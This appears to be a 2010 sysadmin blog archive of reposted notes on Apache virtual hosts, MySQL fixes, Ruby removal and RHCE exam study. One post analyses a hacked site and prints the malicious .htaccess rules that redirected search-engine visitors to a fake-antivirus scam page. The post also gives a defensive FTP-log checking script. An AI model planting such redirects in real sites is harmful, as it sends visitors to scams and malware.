Monday, April 12, 2010

Apache HTTP Server Version 1.3 Virtual Host examples

— SkyHi @ Monday, April 12, 2010

Base configuration

Additional features


Simple name-based vhosting

  • Compatibility: This syntax was added in Apache 1.3.13.
  • Setup: The server machine has a primary name server.domain.tld. There are two aliases (CNAMEs) www.domain.tld and www.sub.domain.tld for the address server.domain.tld. Server configuration:
    ...
        Port 80
        ServerName server.domain.tld
    
        NameVirtualHost *:80
    
        
        DocumentRoot /www/domain
        ServerName www.domain.tld
        ...
        
        
        
        DocumentRoot /www/subdomain
        ServerName www.sub.domain.tld
        ...
         
       
    The asterisks match all addresses, so the main server serves no requests. Due to the fact that www.domain.tld is first in the configuration file, it has the highest priority and can be seen as the default or primary server.

More complicated name-based vhosts

  • Setup 1: The server machine has one IP address (111.22.33.44) which resolves to the name server.domain.tld. There are two aliases (CNAMEs) www.domain.tld and www.sub.domain.tld for the address 111.22.33.44. Server configuration:
    ...
        Port 80
        ServerName server.domain.tld
    
        NameVirtualHost 111.22.33.44 
    
        
        DocumentRoot /www/domain
        ServerName www.domain.tld
        ...
        
        
        
        DocumentRoot /www/subdomain
        ServerName www.sub.domain.tld
        ...
         
       
    Apart from localhost there are no unspecified addresses/ports, therefore the main server only serves localhost requests. Due to the fact that www.domain.tld has the highest priority it can be seen as the default or primary server.
  • Setup 2: The server machine has two IP addresses (111.22.33.44 and 111.22.33.55) which resolve to the names server1.domain.tld and server2.domain.tld respectively. The alias www.domain.tld should be used for the main server which should also catch any unspecified addresses. We want to use a virtual host for the alias www.otherdomain.tld and another virtual host, with server name www.sub.domain.tld, should catch any request to hostnames of the form *.sub.domain.tld. The address 111.22.33.55 should be used for the virtual hosts. Server configuration:
    ...
        Port 80
        ServerName www.domain.tld
        DocumentRoot /www/domain
    
        NameVirtualHost 111.22.33.55
    
        
        DocumentRoot /www/otherdomain
        ServerName www.otherdomain.tld
        ...
        
       
        
        DocumentRoot /www/subdomain
        ServerName www.sub.domain.tld
        ServerAlias *.sub.domain.tld
        ...
         
       
    Any request to an address other than 111.22.33.55 will be served from the main server. A request to 111.22.33.55 with an unknown or no Host: header will be served from www.otherdomain.tld.
  • Setup 3: The server machine has two IP addresses (192.168.1.1 and 111.22.33.55). The machine is sitting between an internal (intranet) network and an external (internet) network. Outside of the network, the name server1.domain.tld resolves to the external address (111.22.33.55), but inside the network, that same name resolves to the internal address (192.168.1.1). The server can be made to respond to internal and external requests with the same content, with just one VirtualHost section.
    Server configuration:
    ...
        NameVirtualHost 192.168.1.1
        NameVirtualHost 111.22.33.55
    
        
        DocumentRoot /www/server1
        ServerName server1.domain.tld
        ServerAlias server1
        ...
        
       
    Now requests from both networks will be served from the same VirtualHost
  • Setup 4: You have multiple domains going to the same IP and also want to serve multiple ports. By defining the ports in the "NameVirtualHost" tag, you can allow this to work. If you try using without the NameVirtualHost name:port or you try to use the Port directive, your configuration will not work. Server configuration:
    ...   
        NameVirtualHost 111.22.33.44:80
        NameVirtualHost 111.22.33.44:8080
    
        
        ServerName www.domain.tld
        DocumentRoot /www/domain-80
        
    
        
        ServerName www.domain.tld
        DocumentRoot /www/domain-8080
        
    
        
        ServerName www.otherdomain.tld
        DocumentRoot /www/otherdomain-80
        
    
        
        ServerName www.otherdomain.tld
        DocumentRoot /www/otherdomain-8080
        
    
       

IP-based vhosts

  • Setup 1: The server machine has two IP addresses (111.22.33.44 and 111.22.33.55) which resolve to the names server.domain.tld and www.otherdomain.tld respectively. The hostname www.domain.tld is an alias (CNAME) for server.domain.tld and will represent the main server. Server configuration:
    ...
        Port 80
        DocumentRoot /www/domain
        ServerName www.domain.tld
    
        
        DocumentRoot /www/otherdomain
        ServerName www.otherdomain.tld
        ...
        
       
    www.otherdomain.tld can only be reached through the address 111.22.33.55, while www.domain.tld can only be reached through 111.22.33.44 (which represents our main server).
  • Setup 2: Same as setup 1, but we don't want to have a dedicated main server. Server configuration:
    ...
        Port 80
        ServerName server.domain.tld
        
        
        DocumentRoot /www/domain
        ServerName www.domain.tld
        ...
        
    
        
        DocumentRoot /www/otherdomain
        ServerName www.otherdomain.tld
        ...
        
       
    The main server can never catch a request, because all IP addresses of our machine are in use for IP-based virtual hosts (only localhost requests can hit the main server).
  • Setup 3: The server machine has two IP addresses (111.22.33.44 and 111.22.33.55) which resolve to the names server.domain.tld and www-cache.domain.tld respectively. The hostname www.domain.tld is an alias (CNAME) for server.domain.tld and will represent the main server. www-cache.domain.tld will become our proxy-cache listening on port 8080, while the web server itself uses the default port 80. Server configuration:
    ...
        Port 80
        Listen 111.22.33.44:80
        Listen 111.22.33.55:8080
        ServerName server.domain.tld
        
        
        DocumentRoot /www/domain
        ServerName www.domain.tld
        ...
        
    
        
        ServerName www-cache.domain.tld
        ...
          
          Order Deny,Allow
          Deny from all
          Allow from 111.22.33
          
        
       
    The main server can never catch a request, because all IP addresses (apart from localhost) of our machine are in use for IP-based virtual hosts. The web server can only be reached on the first address through port 80 and the proxy only on the second address through port 8080.

Mixed name-/IP-based vhosts

  • Setup: The server machine has three IP addresses (111.22.33.44, 111.22.33.55 and 111.22.33.66) which resolve to the names server.domain.tld, www.otherdomain1.tld and www.otherdomain2.tld respectively. The address 111.22.33.44 should be used for a couple of name-based vhosts and the other addresses for IP-based vhosts. Server configuration:
    ...
        Port 80
        ServerName server.domain.tld
    
        NameVirtualHost 111.22.33.44
    
        
        DocumentRoot /www/domain
        ServerName www.domain.tld
        ...
        
       
        
        DocumentRoot /www/subdomain1
        ServerName www.sub1.domain.tld
        ...
         
        
        
        DocumentRoot /www/subdomain2
        ServerName www.sub2.domain.tld
        ...
         
     
        
        DocumentRoot /www/otherdomain1
        ServerName www.otherdomain1.tld
        ...
         
        
        
        DocumentRoot /www/otherdomain2
        ServerName www.otherdomain2.tld
        ...
             
       

Port-based vhosts

  • Setup: The server machine has one IP address (111.22.33.44) which resolves to the name www.domain.tld. If we don't have the option to get another address or alias for our server we can use port-based vhosts if we need a virtual host with a different configuration. Server configuration:
    ...
        Listen 80
        Listen 8080
        ServerName www.domain.tld
        DocumentRoot /www/domain
    
        
        DocumentRoot /www/domain2
        ...
        
       
    A request to www.domain.tld on port 80 is served from the main server and a request to port 8080 is served from the virtual host.

Using _default_ vhosts

  • Setup 1: Catching every request to any unspecified IP address and port, i.e., an address/port combination that is not used for any other virtual host. Server configuration:
    ...
        
        DocumentRoot /www/default
        ...
        
       
    Using such a default vhost with a wildcard port effectively prevents any request going to the main server.
    A default vhost never serves a request that was sent to an address/port that is used for name-based vhosts. If the request contained an unknown or no Host: header it is always served from the primary name-based vhost (the vhost for that address/port appearing first in the configuration file).
    You can use AliasMatch or RewriteRule to rewrite any request to a single information page (or script).
  • Setup 2: Same as setup 1, but the server listens on several ports and we want to use a second _default_ vhost for port 80. Server configuration:
    ...
        
        DocumentRoot /www/default80
        ...
        
        
        
        DocumentRoot /www/default
        ...
            
       
    The default vhost for port 80 (which must appear before any default vhost with a wildcard port) catches all requests that were sent to an unspecified IP address. The main server is never used to serve a request.
  • Setup 3: We want to have a default vhost for port 80, but no other default vhosts. Server configuration:
    ...
        
        DocumentRoot /www/default
        ...
        
       
    A request to an unspecified address on port 80 is served from the default vhost any other request to an unspecified address and port is served from the main server.

Migrating a name-based vhost to an IP-based vhost

  • Setup: The name-based vhost with the hostname www.otherdomain.tld (from our name-based example, setup 2) should get its own IP address. To avoid problems with name servers or proxies who cached the old IP address for the name-based vhost we want to provide both variants during a migration phase.
    The solution is easy, because we can simply add the new IP address (111.22.33.66) to the VirtualHost directive. Server configuration:
    ...
        Port 80
        ServerName www.domain.tld
        DocumentRoot /www/domain
    
        NameVirtualHost 111.22.33.55
    
        
        DocumentRoot /www/otherdomain
        ServerName www.otherdomain.tld
        ...
        
       
        
        DocumentRoot /www/subdomain
        ServerName www.sub.domain.tld
        ServerAlias *.sub.domain.tld
        ...
        
       
    The vhost can now be accessed through the new address (as an IP-based vhost) and through the old address (as a name-based vhost).

Using the ServerPath directive

  • Setup: We have a server with two name-based vhosts. In order to match the correct virtual host a client must send the correct Host: header. Old HTTP/1.0 clients do not send such a header and Apache has no clue what vhost the client tried to reach (and serves the request from the primary vhost). To provide as much backward compatibility as possible we create a primary vhost which returns a single page containing links with an URL prefix to the name-based virtual hosts. Server configuration:
    ...
        NameVirtualHost 111.22.33.44
    
        
        # primary vhost
        DocumentRoot /www/subdomain
        RewriteEngine On
        RewriteRule ^/.* /www/subdomain/index.html
        ...
        
    
        
        DocumentRoot /www/subdomain/sub1
        ServerName www.sub1.domain.tld
        ServerPath /sub1/
        RewriteEngine On
        RewriteRule ^(/sub1/.*) /www/subdomain$1 
        ...
        
    
        
        DocumentRoot /www/subdomain/sub2
        ServerName www.sub2.domain.tld
        ServerPath /sub2/
        RewriteEngine On
        RewriteRule ^(/sub2/.*) /www/subdomain$1 
        ...
        
       
    Due to the ServerPath directive a request to the URL http://www.sub1.domain.tld/sub1/ is always served from the sub1-vhost.
    A request to the URL http://www.sub1.domain.tld/ is only served from the sub1-vhost if the client sent a correct Host: header. If no Host: header is sent the client gets the information page from the primary host.
    Please note that there is one oddity: A request to http://www.sub2.domain.tld/sub1/ is also served from the sub1-vhost if the client sent no Host: header.
    The RewriteRule directives are used to make sure that a client which sent a correct Host: header can use both URL variants, i.e., with or without URL prefix.

REFERENCE
http://httpd.apache.org/docs/1.3/vhosts/examples.html

Sunday, April 11, 2010

How do I cleanly remove ruby 1.8.7 from Centos 5

— SkyHi @ Sunday, April 11, 2010

Hi, can someone tell me how I can cleanly remove my
ruby version 1.8.7? I installed it by download the source and perform a
make.



Thank you.



Yong


=========================================================================

You shouldn't install software this way.

Removing software which was installed like this may be dangerous:



  1. unpack the same ruby to /tmp
  2. run:


    ./configure --prefix=/tmp/somedir    # by default prefix points to /usr/local
make
make install # this will install ruby in /usr/local instead of where you've installed it
cd /tmp/somedir
find . -type f -exec rm -i /usr/local{} \; # Use without -i if you are shure
find . -type d -exec rm -ir /usr/local{} \;


I hope this will help you


REFERENCE

http://serverfault.com/questions/82343/how-do-i-cleanly-remove-ruby-1-8-7-from-centos-5




Table 'mysql.servers' doesn't exist after upgrade to mysql-5.1.45

— SkyHi @ Sunday, April 11, 2010
This should solve the problem. Not sure how this problem started for me but I mysqldumped the mysql.server table from another database and eliminated the error.





Best,


C











CREATE TABLE `servers` (


`Server_name` char(64) NOT NULL,


`Host` char(64) NOT NULL,


`Db` char(64) NOT NULL,


`Username` char(64) NOT NULL,


`Password` char(64) NOT NULL,


`Port` int(4) DEFAULT NULL,


`Socket` char(64) DEFAULT NULL,


`Wrapper` char(64) NOT NULL,


`Owner` char(64) NOT NULL,


PRIMARY KEY (`Server_name`)


) ENGINE=MyISAM DEFAULT CHARSET=utf8 COMMENT='MySQL Foreign Servers table';


REFERENCE:
http://forums.mysql.com/read.php?11,142598,160503#msg-160503

mysql: Error message file '/usr/share/mysql/english/errmsg.sys' had only 480 error messages

— SkyHi @ Sunday, April 11, 2010
I had the following on fresh install of Centos 5.4:

---

Error message file '/usr/share/mysql/english/errmsg.sys' had only 480
error messages,

but it should contain at least 481 error messages.

Check that the above file is the right version for this program!

---

Solution:

1) cp /usr/share/mysql/english/errmsg.sys
/usr/share/mysql/english/errmsg.sys.backup

2) Download http://downloads.mysql.com/archives/mysql-5.0/mysql-5.0.86.tar.gz

3) tar -xzvf http://downloads.mysql.com/archives/mysql-5.0/mysql-5.0.86.tar.gz

4) cp mysql-5.0.86/sql/share/english/errmsg.sys
/usr/share/mysql/english/errmsg.sys

5) mysql_install_db

6) service mysqld start

(chkconfig mysqld on)

REFERENCE:
http://www.jasonlitka.com/2009/09/25/mysql-upgraded-to-5-0-86/

This site may harm your computer

— SkyHi @ Sunday, April 11, 2010
Today the website of one of the clients was blacklisted by Google by containing malicious software that downloads and installs without user’s consent. Google displayed “This site may harm your computer” under website in the results page.
Analyzing site’s sources we found obfuscated JavaScript code inserted near body, html tags in .html, .php, .tpl files and a .htaccess file with following content:
RewriteEngine On
RewriteCond %{HTTP_REFERER} .*google.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*aol.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*msn.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*yahoo.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*yandex.*$ [NC,OR]^M
RewriteCond %{HTTP_REFERER} .*rambler.*$ [NC,OR]^M
RewriteCond %{HTTP_REFERER} .*ya.*$ [NC]
RewriteRule .* http://real-antispyware.info/0/go.php?sid=2 [R,L]
Hmm, visitors from search engines were redirected to real-antispyware.info. This website is a scam that shows some JavaScript animation fulling the user with a message that his computer is infected and prompts him to download and install a fake AntiVirus.
Analyzing IP addresses from ftp logs we found connections from Russia and China that altered client’s website. Somehow they got user’s ftp password (it can be done in so many ways: weak password, traffic sniffing, virus, keylogger, trojan, …) and they altered website files.
You can use this simple Ruby script to analyze your ftp logs. By default it is configured for a Plesk server, and it will show suspicious lines (change IGNORE variables to fit your needs). You may need to install rubygems and geoip gem.
#!/usr/bin/ruby
 
require 'rubygems'
require 'geoip'
require 'zlib'
 
# hide logs from these countries
# Example: RO US
IGNORE_COUNTRIES = %w{RO US}
# free geoip database is not 100% accurate
# we may need to ignore a few ip addresses
IGNORE_IP = %w{127.0.0.1 127.0.0.2}
 
files = Dir.glob("/usr/local/psa/var/log/xferlog*")
geoip = GeoIP.new('/var/lib/GeoIP/GeoIP.dat')
 
def ip2country(geoip, ip)
  country = geoip.country(ip)[3]
end
 
ip_list = []
files.each do |filename|
  puts ""
  puts "Processing #{filename} ..."
 
  File.open(filename) do |f|
    input = f
    input = Zlib::GzipReader.new(f) if File.extname(filename) == ".gz"
 
    while line = input.gets do
      ip = line.split(/\s+/)[6]
 
      unless ip_list.include? ip
        country = ip2country(geoip, ip)
        unless IGNORE_COUNTRIES.include? country.upcase or IGNORE_IP.include? ip
          puts " [#{country} : #{ip}] => #{line}"
        end
        ip_list << ip
      end
   end
  end
end
Steps that needs to followed:
  1. Change FTP password
  2. Upload a clean copy from the backups of the website
  3. Submit the website in the Webmaster’s Tools for reconsideration
  4. Audit your company security: computers, firewalls, antiviruses, software, …
You may find useful diagnose tool from the Google (replace example.com with your domain):
http://www.google.com/safebrowsing/diagnostic?site=http://example.com



Friday, April 9, 2010

Michael Conigliaro RHCE Exam Experience

— SkyHi @ Friday, April 09, 2010

On September 4th, 2009, I took the new 3.5 hour, single-section RHCE exam. This was my first time taking the exam, and to be perfectly honest, it was nowhere near as challenging as I thought it would be. While I don’t want to downplay the significance of the RHCE certification or give anyone the false impression that the exam is necessarily easy, I do want to emphasize that contrary to popular belief, it is quite possible to self-study your way to a perfect score. Not only was I able to breeze through the entire list of test objectives, I had time to thoroughly check and double-check all of my work with almost an hour to spare. This meant I was done long before anyone else in the room, including those who took the official Red Hat training courses. So how did I accomplish this feat?


The first thing you should know is that I had already been working professionally with Linux for ~10 years before I began studying for the exam. I doubt that so much experience is really necessary, but because the exam measures actual competency on live systems rather than your ability to memorize or “read between the lines,” I think it’s highly unlikely that someone with little or no working knowledge of Linux could successfully cram for this test. So I’d have to say that experience is an important prerequisite, but I’d also have to say that experience alone is almost certainly not enough. Considering the wide range of subject matter, it’s very likely that you’ll be tested on something you’ve never had to touch before.


In my opinion, the hardest thing about self-studying for the RHCE exam is knowing how much you need to know about each study point in the RHCE Prep Guide. In other words, when it says something like “you need to know basic configuration of x,” it’s hard to know exactly what “basic configuration” means. Although I’ve signed an NDA preventing me from revealing any details about the exam itself, I can tell you that nearly all of my study material came from two places:


  1. RHCE Red Hat Certified Engineer Linux Study Guide by Michael Jang
  2. Red Hat Deployment Guide

The rest of my study material came from search engines. I spent a lot of time comparing other people’s study notes to mine and reading anecdotes about the RHCE exam. While the result of this was usually a temporary blow to my confidence (there are a lot of horror stories out there!), I did find a few blogs and forum posts with some helpful information. Usually it was just an alternative way of doing something, but it was also nice to come across the occasional words of encouragement from a self-studied RHCE. Just knowing that other people had done it gave me a slight confidence boost (as I hope this post does for some of you).


The first thing I did was read Michael Jang’s book cover to cover, just trying to absorb what I considered to be the most important information from each chapter (i.e. concepts rather than commands). This took me a week or two. When I was done, I set up a test environment using VirtualBox. Then I decided it would help to have a condensed, single-page study guide to refer to, so I created a “wikified” version of the RHCE Prep Guide which I called my RHCE “cheat sheet”. For the next few weeks, I went through each study point on the “cheat sheet” and used my study material to test and document everything I thought I might need to know.


I found Michael Jang’s book to be a great study guide (the labs and example problems were a huge help), but I wasn’t completely happy with the amount of detail on some topics, as well as how it tends to follow the Red Hat course outlines rather than just sticking to the RHCE Prep Guide. I also found quite a few typos and just plain incorrect information, so that’s where the Red Hat Deployment Guide came in. While I was working on the RHCE “cheat sheet,” I would usually read the appropriate chapter(s) from Michael Jang’s book first, then I would supplement it with the appropriate chapter(s) from the Red Hat Deployment Guide. If I felt particularly weak in a certain area, I would also peruse the man pages and any HOWTOs I could find online. This was a long, arduous process, but it helped ensure that I wasn’t missing any important details.


For the last couple weeks, I tested myself by putting the “cheat sheet” away, doing a minimal install of CentOS in my test environment, and trying to configure everything I could without referring to any documentation whatsoever. Since the test takes place on a live system, I assumed from the beginning that the man pages would be available, but in order to save time, I wanted to make sure I could do everything off the top of my head. As a result, I ended up memorizing almost everything on the “cheat sheet,” which is probably why I was able to complete the exam so quickly.


Since I didn’t have a study partner, preparing for the troubleshooting section of the exam was a bit of a challenge. I did come across an interesting project called Trouble Maker which directly addresses this problem, but unfortunately, it has not been updated in several years and does not work on recent versions of CentOS. For a while, I actually considered writing my own trouble maker program, but I ultimately decided that this would be too much work. Luckily, I have a few friends who know enough about Linux to make a machine unbootable, so we made a game of it. I would give them my root password and challenge them to do something that would keep me from using my computer, then I would try to fix it as fast as I could.


When it was all said and done, I spent roughly six weeks (studying a few hours each day) to prepare for the RHCE. Considering how easy the exam was for me, I believe that I worked a lot harder than I needed to, but the results were clearly well worth the effort. The best advice I can give to prospective RHCEs is to take your time and practice until you can do everything in the RHCE Prep Guide off the top of your head. If you feel weak in anything, do yourself a favor and postpone the exam.


REFERENCE

http://conigliaro.org/2009/09/08/my-rhce-exam-experience/


RHCE "Cheat Sheet"

— SkyHi @ Friday, April 09, 2010
This document attempts to provide answers to all study points on the RHCE and RHCT Exam Preparation Guide in a single-page (and thus, printable) format. This is not a “brain dump” or an attempt to cheat the RH302 exam in any way. These are just my self-study notes. Use them at your own risk.

:!: Note: Study points last updated on 2009-08-11. This list may become out of date without notice (especially after I pass the test ;-)).
Testing Environment with Sun VirtualBox

install guest additions:

yum install gcc kernel-devel
sh /media/VBOXADDITIONS*/VBoxLinuxAdditions-x86.run
reboot

Prerequisite skills for RHCT and RHCE

Candidates should possess the following skills, as they may be necessary in order to fulfill requirements of the RHCT and RHCE exams:
use standard command line tools (e.g., ls, cp, mv, rm, tail, cat, etc.) to create, remove, view, and investigate files and directories
use grep, sed, and awk to process text streams and files
use a terminal-based text editor, such as vim or nano, to modify text files
use input/output redirection
operator description
> redirect STDOUT to a file
2> redirect STDERR to a file
&> redirect all output to a file
2>&1 redirect all output to a pipe

*
use » to append instead of overwrite

understand basic principles of TCP/IP networking, including IP addresses, netmasks, and gateways for IPv4 and IPv6
use su to switch user accounts

su -

use passwd to set passwords

passwd

use tar, gzip, and bzip2

# compress (tar/gzip)
tar cvzf .tgz

# extract (tar/gzip)
tar xvzf .tgz

# compress (tar/bzip)
tar cvjf .tbz

# extract (tar/bzip)
tar xvjf .tbz

configure an email client on Red Hat Enterprise Linux

echo "message" | mail -s "subject"
mail -s "subject" <

use text and/or graphical browser to access HTTP/HTTPS URLs

*
elinks
*
lynx

use lftp to access FTP URLs
RHCT skills
Troubleshooting and System Maintenance

RHCTs should be able to:
boot systems into different run levels for troubleshooting and system maintenance

append the desired runlevel to grub's kernel line:

*
1-5 runs appropriate rc and init scripts
*
single only runs rc.sysinit
*
emergency skips all rc and init scripts

diagnose and correct misconfigured networking

1.
check /etc/sysconfig/network
2.
check /etc/sysconfig/network-scripts/ifcfg-
3.
service network restart
4.
chkconfig network on
5.
ifconfig
6.
ping
7.
netstat -r
8.
ping
9.
ping 4.2.2.2

redhat network config tool:

system-config-network

diagnose and correct hostname resolution problems

1.
check /etc/nsswitch.conf
2.
check /etc/resolv.conf
3.
check /etc/hosts
4.
dig @ google.com

redhat network config tool:

system-config-network

configure the X Window System and a desktop environment

install x:

yum groupinstall "x window system"

*
init respawns /etc/X11/prefdm -nodaemon to keep x running in runlevel 5
*
startx to start manually

xfs is supposedly required for x windows (even though i can run x fine without it…):

service xfs on
chkconfig xfs on

x environment config:

*
/etc/sysconfig/desktop
*
/etc/X11/xinit/xinitrc
*
/etc/X11/xinit/Xclients
*
~/.xinitrc
*
~./Xclients

redhat display config tool:

system-config-display [--reconfig]

install gnome desktop:

yum groupinstall "gnome desktop environment"

switchdesk allows you to change your desktop environment:

yum install switchdesk
switchdesk

if switchdesk is not available, edit /etc/sysconfig/desktop:

DISPLAYMANAGER=
DESKTOP=

add new partitions, filesystems, and swap to existing systems
partitions

manage partitions:

fdisk
partprobe

filesystems

make filesystems:

mkfs.

label filesystems:

e2label